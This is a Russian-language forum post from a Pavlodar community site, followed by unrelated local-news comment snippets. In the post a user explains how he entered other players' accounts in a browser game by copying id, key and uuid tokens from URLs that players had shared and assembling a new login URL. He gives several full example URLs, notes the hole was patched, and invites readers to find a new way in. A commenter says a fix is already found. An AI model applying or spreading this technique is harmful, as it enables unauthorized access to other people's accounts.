Игрулька, дырочки

Методом тыка получилось в игрульке заходить на чужие аккаунты таким образом: нашёл пару постов с сылками такого плана.

http://corruption.cheloveche.ru/dashboard?che_sig=44bf10d12f6890282ff99adfed7565422600451dbe7b5cff689dd1d3cf785dec64STJgFGS7OsZxCjviPjZQ%3D%3D&id=57267&key=c55b1a211ab10bba6458e263fbf9b8be&network=che&page=%2Fche.html&server=sc.cheloveche.ru&uuid=1606462e-4dc6-4f25-a5ca-c52b5ba7d9a7&xdm_c=default9876&xdm_e=http%3A%2F%2Fsc.cheloveche.ru&xdm_p=1#/players/Ruslan-Bolshoy

Нажав на эту ссылку мы ничего не получим, но если выберем оттуда нужные значения

id=57267

key=c55b1a211ab10bba6458e263fbf9b8be

uid=1606462e-4dc6-4f25-a5ca-c52b5ba7d9a7

и расставим их как нужно:

http://corruption.cheloveche.ru/?id=57267&uuid=1606462e-4dc6-4f25-a5ca-c52b5ba7d9a7&key=c55b1a211ab10bba6458e263fbf9b8be&che_sig=dfab67f98a6a92c004d4e011d8ce0e54a23593cabd095e47f44b091892805be3QQlO06PVJnu4BlQsscU2XA==&page=/che.html&server=sc.cheloveche.ru&network=che&balance=10&xdm_e=http%3A%2F%2Fsc.cheloveche.ru&xdm_c=default8201&xdm_p=1#players/Plagron

То мы зайдём на аккаунт этого пользователя.

Эту фишку уже прикрыли и добавили ещё в строку такие параметры как &login=UglyMoon и &referrer=&chat=

http://corruption.cheloveche.ru/?id=57267&uuid=1606462e-4dc6-4f25-a5ca-c52b5ba7d9a7&key=c55b1a211ab10bba6458e263fbf9b8be&login=UglyMoon&che_sig=dfab67f98a6a92c004d4e011d8ce0e54a23593cabd095e47f44b091892805be3QQlO06PVJnu4BlQsscU2XA==&page=/che.html&server=sc.cheloveche.ru&network=che&balance=10&referrer=&chat=&xdm_e=http%3A%2F%2Fsc.cheloveche.ru&xdm_c=default8201&xdm_p=1#players/Plagron

Если кто шарит, потестите, может найдёте какое решение как опять заходить на другие учётки. Если надо, в личку отпишу тестовый аккаунт.

 

Поделиться
+1
Виталий

activist20 июля 2013 1:20

SQL Injection Maniac! :)

lord

lord23 июля 2013 16:40

Да в принципе уже решение найдено ))

Прямой эфир
Павлодарцам предлагают придумать имя древнему мамонту
Лет десять назад назвали бы Нурсултаном. А сейчас, если исходить из того как он был собран, можно Конструктором назвать.
#wlad1 неделю назад
Бдительный таксист сохранил пенсионерке из Павлодара шесть миллионов тенге
Искренне благодарить надо таксиста за проявленную бдительность и позицию - с опубликованием его ФИО. А господа…
#wlad1 неделю назад
На добрачное обучение приглашают молодоженов и встречающихся павлодарцев
А обучающие видики с немецкими сантехниками будут показывать?
#wlad2 недели назад
Светодиодные светильники стали причиной пожаров в Павлодарской области
а лучше вообще не использовть, случаев возгорания этих светильников куча просто.
#sergadm3 недели назад
Наблюдение за птицами организуют для жителей Павлодара в эти выходные
Инициатива замечательная. Не успеваю везде
#Somik3 недели назад
Пятеро погибли, спасая 17-летнего парня: в Минтруда назвали виновного в трагедии на Aqtogai Milk
Напомнило: Сидят трое пьяниц, выпивают. Первый наливает из бутылки, выпивает, падает замертво.Второй смотрит на…
#wlad4 недели назад
Какие товары производят в Павлодарской области (фото)
Сыр павлодарский беру периодически. Производится в Иртышске вроде как
#Somik4 недели назад
Выплаты бойцам в "Жасыл ел" выросли на ноль тенге за последние 5 лет в Павлодарской области
ну собственно им платят в соответствии с работой . там где обычному работнику работы на полчаса, эти шляются  толпой …
#sergadm1 месяц назад
В полиции подтвердили информацию о задержании павлодарского депутата и бизнесмена Александра Терентьева
Не раскрывается ... не разглашается. Да в интернете полно информации об этом, только Павон один изображает страуса.
#wlad1 месяц назад
Кто из звезд казахстанской эстрады выступит в Кенжеколе 9 августа
Цыпа, передай этим парням, что обладательница официального мирового рекорда Книги рекордов Гиннесса среди ныне живущих…
#wlad1 месяц назад
Из-за банки пива павлодарского предпринимателя оштрафовали на 120 тысяч тенге
не мешало бы , чтобы и покупатель нёс ответсвенность. А если не совоершеннолетний выпьет бутылку в зале и готов оплатить…
#sergadm3 месяца назад
Жителей Экибастуза напугали подземные толчки
1–3 балла: Очень слабые колебания. Люди их не ощущают (толчки фиксируют только приборы), либо замечают только те, кто…
#sergadm4 месяца назад
"Иртыш" решил судьбу главного тренера Альшевского
Алдияру Жапарханову, спасибо! Видим, что ситуация меняется. Две ничьи 2:2 тому подтверждение. Я был на игре с Алтаем. На…
#Somik4 месяца назад
Девушка оставила заведенный внедорожник во дворе и чуть не лишилась его в Павлодаре
Оперативно, приятно, что за нами присматривают
#Somik4 месяца назад
Школьникам из села Жетекши подарили новый автобус
Симпатичный яркий автобус. Я бы его со всех сторон изучил. Необычный транспорт
#Somik5 месяцев назад
Более 15 миллиардов тенге потратят на ремонт и модернизацию павлодарской ТЭЦ-2 в 2026 году
За системный подход к ремонту спасибо. За улучшение бытовых условий для сотрудников отдельное спасибо
#Somik5 месяцев назад
"Марш парков" пройдет на павлодарской набережной 3 апреля
Natalypvl, спасибо, что написали. Я узнал об этом уже на месте, увидел там только несколько сот скворечников, пазик и…
#Somik5 месяцев назад
В травмпункте Экибастуза пьяная компания напала на врача
Отказываясь выйти из помещения, компания молодых людей стала наносить удары врачу. Судя по скриншоту у врача ну…
#wlad5 месяцев назад